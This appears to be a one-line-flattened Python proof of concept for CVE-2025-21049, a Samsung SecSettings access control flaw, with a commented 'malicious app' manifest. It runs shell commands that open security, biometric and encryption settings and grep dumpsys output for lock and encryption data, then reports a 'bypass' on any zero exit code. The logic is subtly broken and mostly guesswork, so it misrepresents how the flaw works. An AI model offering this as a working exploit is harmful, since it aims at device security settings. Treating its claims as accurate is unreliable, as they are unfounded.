CVE-2025-21049：三星SecSettings不当访问控制漏洞

# CVE-2025-21049 - Samsung SecSettings Improper Access Control PoC # This PoC demonstrates the concept of accessing sensitive settings via SecSettings # Note: Actual exploitation requires a malicious app installed on the target device import subprocess import time def exploit_secsettings_access_control(): """ PoC for CVE-2025-21049: Improper access control in SecSettings Attempts to access sensitive security settings without proper authorization. """ # Step 1: Check if SecSettings component is accessible target_component = "com.samsung.android.settings.csc/.MainActivity" # Step 2: Attempt to invoke sensitive settings via Intent # The vulnerability allows bypassing access control on certain settings pages exploit_commands = [ # Attempt to access lock screen settings without proper permission 'am start -a android.settings.SECURITY_SETTINGS', # Attempt to access biometric settings 'am start -n com.samsung.android.biometrics.app.setting/.BiometricsSettingsActivity', # Attempt to access encryption settings via SecSettings internal API 'am start -n com.samsung.android.settings.csc/.MainActivity --es "settings_id" "encryption"', # Attempt to dump sensitive security configuration 'dumpsys settings | grep -i "security\|lock\|encrypt\|biometric"', ] print(f"[*] CVE-2025-21049 PoC - Samsung SecSettings Access Control Bypass") print(f"[*] Target component: {target_component}") print(f"[*] Attempting to bypass access control on SecSettings...") for i, cmd in enumerate(exploit_commands): print(f"\n[+] Step {i+1}: Executing: {cmd}") try: result = subprocess.run( cmd.split(), capture_output=True, text=True, timeout=10 ) if result.stdout: print(f"[+] Output: {result.stdout[:500]}") if result.returncode == 0: print(f"[!] Potential access control bypass detected!") except Exception as e: print(f"[-] Error: {e}") time.sleep(1) print(f"\n[*] PoC execution completed.") print(f"[*] On vulnerable devices, sensitive security information may be exposed.") if __name__ == "__main__": exploit_secsettings_access_control() # --- AndroidManifest.xml snippet for a malicious app exploiting CVE-2025-21049 --- # The malicious app would declare intent filters to invoke SecSettings components # without holding the required system permissions. # <manifest xmlns:android="http://schemas.android.com/apk/res/android" # package="com.example.exploit"> # <application> # <activity android:name=".ExploitActivity" # android:exported="true"> # <intent-filter> # <action android:name="android.intent.action.VIEW" /> # <category android:name="android.intent.category.DEFAULT" /> # <data android:scheme="secsettings" # android:host="sensitive_settings" /> # </intent-filter> # </activity> # </application> # </manifest>